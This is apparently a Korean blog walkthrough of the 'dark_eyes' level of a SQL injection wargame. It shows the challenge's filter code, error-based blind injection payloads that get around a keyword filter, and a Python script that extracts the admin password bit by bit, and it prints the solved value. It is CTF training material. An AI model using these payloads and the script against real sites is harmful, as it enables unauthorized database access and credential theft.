728x90
반응형
상단에 나오는 쿼리문은 DB에 해당 쿼리문으로 데이터가 들어간다고 알려준다.
id의 값이 admin, pw의 값이 ‘’인 파라미터가 있다.
query : select id from prob_dark_eyes where id='admin' and pw=''
아래에는 php 코드가 나와있으며, 이걸 참고해서 문제를 푸는 것 이다.
해당 php 코드에서 자세하게 봐야 하는 부분은 이 부분인 것 같다.
preg_match 조건문 부분을 보면 다음과 같이 필터링하고 있다.
- prob
- _
- .
- ()
- col
- if
- case
- when
- sleep
- benchmark
addslashes() 함수를 사용하여 pw변수의 일부 문자열앞에 백슬래시(\)를 붙여서 반환한다.
- 싱글 쿼터('), 더블 쿼터("), 백슬래시(\), NUL(NULL)에 해당한다.
문제를 풀기 위해서는 pw의 값이 올바른 값이어야 문제가 풀리는 듯 하다.
지난번 문제와 쿼리문은 같았지만 당연하게도 필터링되는 문자열은 차이가 있었다.
if(preg_match('/prob|_|\\.|\\(\\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
기존 pw의 길이를 알아내기 위해 작성했던 공격문을 보면 if문으로 인해 필터링된다.
?pw=' or id='admin' and if(length(pw)=1,1,(select 1 union select 2))#
필터링을 우회하여 공격문을 새로 작성했다.
?pw=' or id='admin' and (select 1 union select (length(pw)>0))#
길이를 알아내기 위한 공격문은 아래와 같이 하고자 한다.
?pw=' or id='admin' and (select 1 union select (length(pw)=0))#
query = "' or id='admin' and (select 1 union select (length(pw)={}))%23".format(i)
pw의 값을 알아내기 위해서는 아래와 같이 공격문을 작성했다.
?pw=' or id='admin' and (select 1 union select (substr(lpad(bin(ord(substr(pw,1,1))),16,0),1,1)=0))#
query = "' or id='admin' and (select 1 union select (substr(lpad(bin(ord(substr(pw,{},1))),{},0),{},1)=1))%23".format(j, bitLen, i)
코드를 작성하면 아래와 같이 나온다.
import requests
requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = '<https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=>'
headers = {'Cookie': 'PHPSESSID=쿠키값'}
# get length of column =============
passwordLen = 0
for i in range(1, 100):
payload = "' or id='admin' and (select 1 union select (length(pw)={}))%23".format(i)
res = sess.get(url=URL+payload, headers=headers, verify=False)
if 'query' in res.text:
passwordLen = i
break
else:
pass
print('[=] Find Password Length : %d' % passwordLen)
bitLen = 16
Password = ''
for j in range(1, passwordLen+1):
bit = ''
for i in range(1, bitLen+1):
payload = "' or id='admin' and (select 1 union select (substr(lpad(bin(ord(substr(pw,{},1))),{},0),{},1)=1))%23".format(j, bitLen, i)
res = sess.get(url=URL+payload, headers=headers, verify=False)
if 'query' in res.text:
# Error Occured!! It is not 1
bit += '1'
else:
# false!!
bit += '0'
Password += chr(int(bit, 2))
print('[=] Find Password(count %02d) : %s (bit : %s) (hex : %s)' % (j, chr(int(bit, 2)), bit, hex(int(bit, 2))[2:]))
print('[=] Find Password : %s' % Password)
pw의 값은 5a2f5d3c 이다.
728x90
반응형